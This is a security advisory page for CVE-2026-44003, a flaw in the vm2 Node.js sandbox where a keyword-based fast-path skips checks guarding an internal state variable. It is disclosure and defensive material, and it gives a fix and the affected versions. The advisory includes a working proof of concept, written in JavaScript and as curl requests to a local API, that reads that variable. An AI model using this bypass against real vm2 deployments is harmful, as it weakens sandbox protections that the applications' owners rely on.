CVE-2026-44003: vm2: Transformer Fast-Path Bypass Exposes Internal State Variable

Published May 7, 2026
·
Updated

Summary vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL variable, which exposes internal security functions (handleException, wrapWith, import).

Details In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

When the fast-path is taken: 1. INTERNALSTATENAME identifier check is bypassed: The AST visitor that blocks access to VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL never runs 2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation 3. The internal state object exposes: handleException(e), wrapWith(x), import(what)

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

PoC

Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2"); const vm = new VM();

// Access internal state (bypassed — no catch/import/async keywords) const result = vm.run( var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; Object.keys(x).join(",") ); console.log(result); // "wrapWith,handleException,import"

// Control test — blocked when catch keyword is present try { vm.run( try { var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; } catch(e) { e.message } ); } catch(e) { console.log(e.message); // "Use of internal vm2 state variable" }

HTTP demonstration: bash Internal state access (bypassed) curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; Object.keys(x).join(\",\")"}' Result: "wrapWith,handleException,import"

Control test — blocked when catch keyword is present curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"try { var x = VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL; } catch(e) { e.message }"}' Result: {"errors":["Use of internal vm2 state variable"]}

Suggested fix: javascript // transformer.js:55 — add 'with' keyword and INTERNALSTATENAME check if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNALSTATENAME) === -1) { return {proto: null, code, hasAsync: false}; }

Impact - Security Control Bypass: The INTERNALSTATENAME access restriction is completely ineffective when the code avoids 3 specific keywords. - Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes. - Scope: All applications using vm2. No special configuration required.

Other sources

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2INTERNALSTATEDONOTUSEORPROGRAMWILLFAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.

MITRE

Affected Software

2 affected componentsFixes available
npm/vm2<=3.10.5
3.11.0
Vm2 Project Vm2 Node.js<3.11.0

Event History

May 7, 2026
Advisory Published
via GitHub·04:32 AM
Data Sourced
via GitHub·04:32 AM
DescriptionSeverityWeaknessAffected Software
May 13, 2026
CVE Published
via MITRE·05:30 PM
Data Sourced
via MITRE·05:30 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44003?

CVE-2026-44003 has a medium severity rating due to potential unauthorized access to internal state variables.

2

How do I fix CVE-2026-44003?

To fix CVE-2026-44003, upgrade to vm2 version 3.11.0 or later.

3

What versions of vm2 are affected by CVE-2026-44003?

CVE-2026-44003 affects all versions of vm2 up to and including 3.10.5.

4

What functionality does CVE-2026-44003 compromise?

CVE-2026-44003 compromises the sandboxing features of the vm2 library, allowing potential access to restricted internal variables.

5

Can CVE-2026-44003 be exploited remotely?

CVE-2026-44003 may be exploited remotely if a vulnerable version of vm2 is used in a web-facing application.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203